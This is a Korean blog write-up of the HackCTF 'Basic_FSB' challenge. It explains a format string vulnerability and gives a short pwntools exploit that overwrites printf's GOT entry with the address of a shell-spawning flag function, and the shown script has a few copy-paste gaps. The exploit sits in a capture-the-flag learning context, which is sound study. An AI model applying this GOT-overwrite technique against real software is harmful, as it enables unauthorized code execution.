HACKCTF - Basic_FSB

2020. 7. 8. 09:23CTF's Write-up

 

문제화면

문제 제목을 보면 FSB인것을 알 수 있으니 먼저 좁혀두고 가면 편할것이다.

 

 

실행화면

 

실행하면 평범하게 입력값을 출력해준다.

IDA로 실행해보면

 

main 함수

 

vuln 함수

 

전형적인 FSB문제 형식의 코드로 보인다

%p를 활용해서 주소를 출력해보면

 

FSB 취약점 실행모습

 

첫번째 인자는 건너뛰고 2번째부터 시작되는것을 볼 수 있다.

 

flag함수

 

또한 flag함수를 보면 /bin/sh 가 있으니 궁극적으로 이곳으로 리턴을 보내면 해결될 것이라는 것도 확인할 수 있다.

 

따라서 우리는 vuln함수의 printf(&format); 이 부분에서 printf.got 을 리턴으로 덮어주면 되니까

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import * 
 
= remote("ctf.j0n9hyun.xyz"3002)
context.log_level = 'debug'
= ELF("./basic_fsb")
 
payload = ""
payload += p32(e.got["printf"])
payload += "%134514096x%n"
 
log.info(r.recv())
 
r.sendline(payload)
 
r.interactive()
cs

 

위의 코드와 익스 코드를 작성할 수 있을 것 같네요.

 

조금 부연설명을 하자면 %n 이란 포멧스트링이 전에 있는걸 그 전에 위치에 넣는다고 생각하면 편하실거에요.

"%134514096x <-- 이것은 flag함수의 위치를 10진수로 변환하고, 아까 앞에 null하나 있었으니까 4바이트 빼준거입니다. 즉 flag 함수의 주소

즉 결론은 printf로 가야하는 함수가 flag 함수로 온다고 생각하시면 됩니다.

 

FSB 어렵네요 ㅠ 계속 반복해야겠습니다.

 

exploit

익스 성공장면입니다.

'CTF's Write-up' 카테고리의 다른 글

HACKCTF - 내 버퍼가 흘러넘친다!!!  (0) 2020.07.09
HACKCTF - Hidden  (0) 2020.07.08
HACKCTF - /  (0) 2020.07.07
HACKCTF - Basic_BOF #2  (0) 2020.07.07
HACKCTF - Basic_BOF #1  (0) 2020.07.06